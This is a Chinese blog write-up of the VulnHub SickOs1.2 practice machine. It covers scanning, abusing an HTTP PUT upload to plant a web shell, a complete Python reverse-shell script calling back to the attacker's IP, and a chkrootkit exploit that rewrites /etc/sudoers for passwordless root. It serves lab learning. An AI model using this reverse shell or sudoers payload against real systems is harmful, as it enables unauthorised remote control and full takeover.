当前位置:网站首页>vulhub靶场学习日记SickOs1.2
vulhub靶场学习日记SickOs1.2
2022-07-31 05:10:00 【北纬二十七度雨】
SickOs1.2靶机渗透
目的:root权限拿flag
地址:https://www.vulnhub.com/entry/sickos-12,144/
选择第二个mirror
Vm打开ovf文件,网络模式我选择的是nat
开整
Kali ip地址
Nmap扫描靶机
Nmap扫描靶机端口
Dirb扫描目录
Whatweb指纹识别
网站打开啥也没有,就一张图片,tset目录也没有啥东西
Lighttpd 1.4.28上网搜漏洞没啥结果
Nmap使用脚本对/test目录扫描一下,这里使用nmap自带的脚本扫描
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.192.132
发现存在put任意写漏洞,直接抓包改put方式上传木马
发现访问成功
思路:上传一句话木马,蚁剑连接,上传反弹shell
蚁剑连接成功
上传shell.py反弹shell文件
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.192.129",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
Python运行该文件
Kali监听443端口,反弹成功
Whoami
Pwd
Uanme -a
后面没太大思路,看了一下大佬wp,是通过执行任务提权
查看自动执行任务
发现chkrootkit任务,查看版本
搜索一下刚好有这个漏洞
searchsploit chkrootkit 0.49
查看33899.txt文件
cat /usr/share/exploitdb/exploits/linux/local/33899.txt
创建文件
给予执行权限
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers' > /tmp/update
user1 ALL=(ALL) ALL
我们来说一下这一行的配置的意思
user1 表示该用户user1可以使用sudo命令,第一个ALL指的是网络中的主机(可以是主机名也可以是ip地址),它指明user1用户可以在此主机上执行后面命令;第二个括号里的ALL是指目标用户,也就是以谁的身份去执行命令。最后一个ALL是指命令路径。
Sudo切换root,找到flag
还是太菜了,思路狭窄
边栏推荐
- Redis管道技术/分区
- docker安装postgresSQL和设置自定义数据目录
- 变量的解构赋值
- Input length must be multiple of 8 when decrypting with padded cipher
- 关于LocalDateTime的全局返回时间带“T“的时间格式处理
- Redis的初识
- gin框架学习-Casbin入门指南(ACL、RBAC、域内RBAC模型)
- Data set partitioning and cross-validation
- Redis进阶 - 缓存问题:一致性、穿击、穿透、雪崩、污染等.
- Three handshakes and four waves
猜你喜欢
随机推荐
剑指offer专项突击版 --- 第 4 天
uni-app进阶之创建组件/原生渲染【day9】
数据库上机实验5 数据库安全性
运用flask框架发送短信验证码的流程及具体代码
数据库上机实验7 数据库设计
leetcode-每日一题剑指 Offer II 041. 滑动窗口的平均值(队列模拟)
leetcode-每日一题745. 前缀和后缀搜索(哈希和字典树)
Input length must be multiple of 8 when decrypting with padded cipher
剑指offer基础版 ---- 第29天
uni-app进阶之样式框架/生产环境【day10】
【MQ我可以讲一个小时】
Goodbye to the cumbersome Excel, mastering data analysis and processing technology depends on it
剑指offer基础版 ----- 第25天
剑指offer基础版 --- 第24天
11 【组件通信】
数据库学习笔记
【MySQL8入门到精通】基础篇- Linux系统静默安装MySQL,跨版本升级
About the problems encountered by Xiaobai installing nodejs (npm WARN config global `--global`, `--local` are deprecated. Use `--location=glob)
C语言文件读、写、定位函数
面试官,不要再问我三次握手和四次挥手